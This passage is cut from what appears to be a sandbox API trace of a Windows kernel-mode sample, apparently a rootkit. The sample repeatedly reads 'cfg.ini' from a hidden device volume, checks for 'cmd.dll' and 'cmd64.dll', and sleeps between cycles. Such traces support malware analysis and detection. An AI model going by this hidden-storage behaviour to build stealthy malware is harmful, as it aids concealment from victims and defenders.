FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.685] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.685] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.685] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.685] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.685] IdePortDispatch () returned 0x103 [0118.685] KeWaitForMutexObject () returned 0x0 [0118.685] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.685] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.685] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.685] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.685] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.685] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ba0010 [0118.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.685] KeLeaveCriticalRegion () [0118.685] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.685] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.685] KeEnterCriticalRegion () [0118.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.685] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.685] KeLeaveCriticalRegion () [0118.685] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.685] KeEnterCriticalRegion () [0118.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.686] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.686] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.686] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.686] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.686] IdePortDispatch () returned 0x103 [0118.686] KeWaitForMutexObject () returned 0x0 [0118.688] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.688] KeLeaveCriticalRegion () [0118.688] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.688] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.688] KeEnterCriticalRegion () [0118.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.688] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c10000 [0118.688] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.688] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.688] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.688] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.688] IdePortDispatch () returned 0x103 [0118.688] KeWaitForMutexObject () returned 0x0 [0118.688] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.689] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.689] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.689] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.689] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.689] IdePortDispatch () returned 0x103 [0118.689] KeWaitForMutexObject () returned 0x0 [0118.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.689] KeLeaveCriticalRegion () [0118.689] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.690] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.690] KeEnterCriticalRegion () [0118.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.690] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.690] KeLeaveCriticalRegion () [0118.690] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.690] KeEnterCriticalRegion () [0118.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.690] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.690] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039ce0e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.690] KeLeaveCriticalRegion () [0118.690] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.690] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.690] KeEnterCriticalRegion () [0118.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.690] ExFreePoolWithTag (P=0xfffffa8003ba0010, Tag=0x0) [0118.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.690] KeLeaveCriticalRegion () [0118.690] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.690] ReleaseMutex (hMutex=0xf0) returned 1 [0118.690] Sleep (dwMilliseconds=0x124f80) [0118.709] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.709] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.709] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.709] KeEnterCriticalRegion () [0118.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.709] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.709] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.709] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.709] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.710] IdePortDispatch () returned 0x103 [0118.710] KeWaitForMutexObject () returned 0x0 [0118.710] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.710] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.710] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.710] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.710] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.710] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cf830 [0118.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.710] KeLeaveCriticalRegion () [0118.710] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.710] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.710] KeEnterCriticalRegion () [0118.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.710] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.710] KeLeaveCriticalRegion () [0118.710] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.710] KeEnterCriticalRegion () [0118.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.710] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.710] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.710] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.710] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.710] IdePortDispatch () returned 0x103 [0118.711] KeWaitForMutexObject () returned 0x0 [0118.711] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.711] KeLeaveCriticalRegion () [0118.711] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.711] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.711] KeEnterCriticalRegion () [0118.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.711] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c15000 [0118.711] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.711] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.711] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.711] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.711] IdePortDispatch () returned 0x103 [0118.711] KeWaitForMutexObject () returned 0x0 [0118.711] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.712] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.712] IdePortDispatch () returned 0x103 [0118.712] KeWaitForMutexObject () returned 0x0 [0118.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.712] KeLeaveCriticalRegion () [0118.712] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.713] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.713] KeEnterCriticalRegion () [0118.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.713] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.713] KeLeaveCriticalRegion () [0118.713] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.713] KeEnterCriticalRegion () [0118.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.713] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.713] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039ce070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.713] KeLeaveCriticalRegion () [0118.713] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.713] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.713] KeEnterCriticalRegion () [0118.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.713] ExFreePoolWithTag (P=0xfffffa80039cf830, Tag=0x0) [0118.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.713] KeLeaveCriticalRegion () [0118.713] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.713] ReleaseMutex (hMutex=0xf0) returned 1 [0118.713] Sleep (dwMilliseconds=0x124f80) [0118.732] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.732] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.732] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.732] KeEnterCriticalRegion () [0118.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.732] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.733] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.733] IdePortDispatch () returned 0x103 [0118.733] KeWaitForMutexObject () returned 0x0 [0118.733] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.733] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.733] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.733] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.733] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.733] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039ce170 [0118.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.733] KeLeaveCriticalRegion () [0118.733] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.733] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.733] KeEnterCriticalRegion () [0118.733] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.733] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.733] KeLeaveCriticalRegion () [0118.733] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.733] KeEnterCriticalRegion () [0118.733] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.733] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.734] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.734] IdePortDispatch () returned 0x103 [0118.734] KeWaitForMutexObject () returned 0x0 [0118.734] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.734] KeLeaveCriticalRegion () [0118.734] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.734] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.734] KeEnterCriticalRegion () [0118.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.734] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c1a000 [0118.734] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.734] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.734] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.734] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.734] IdePortDispatch () returned 0x103 [0118.735] KeWaitForMutexObject () returned 0x0 [0118.735] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.735] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.735] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.735] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.735] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.735] IdePortDispatch () returned 0x103 [0118.735] KeWaitForMutexObject () returned 0x0 [0118.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.735] KeLeaveCriticalRegion () [0118.735] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.736] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.736] KeEnterCriticalRegion () [0118.736] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.736] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.736] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.736] KeLeaveCriticalRegion () [0118.736] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.736] KeEnterCriticalRegion () [0118.736] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.736] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.736] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039ce070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.736] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.736] KeLeaveCriticalRegion () [0118.736] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.736] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.736] KeEnterCriticalRegion () [0118.736] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.736] ExFreePoolWithTag (P=0xfffffa80039ce170, Tag=0x0) [0118.736] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.736] KeLeaveCriticalRegion () [0118.736] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.736] ReleaseMutex (hMutex=0xf0) returned 1 [0118.736] Sleep (dwMilliseconds=0x124f80) [0118.756] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.756] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.756] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.756] KeEnterCriticalRegion () [0118.756] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.756] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.756] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.756] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.756] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.756] IdePortDispatch () returned 0x103 [0118.756] KeWaitForMutexObject () returned 0x0 [0118.756] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.756] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.756] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.756] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.756] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.756] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003af8620 [0118.756] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.756] KeLeaveCriticalRegion () [0118.756] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.756] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.757] KeEnterCriticalRegion () [0118.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.757] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.757] KeLeaveCriticalRegion () [0118.757] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.757] KeEnterCriticalRegion () [0118.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.757] MmProbeAndLockPages 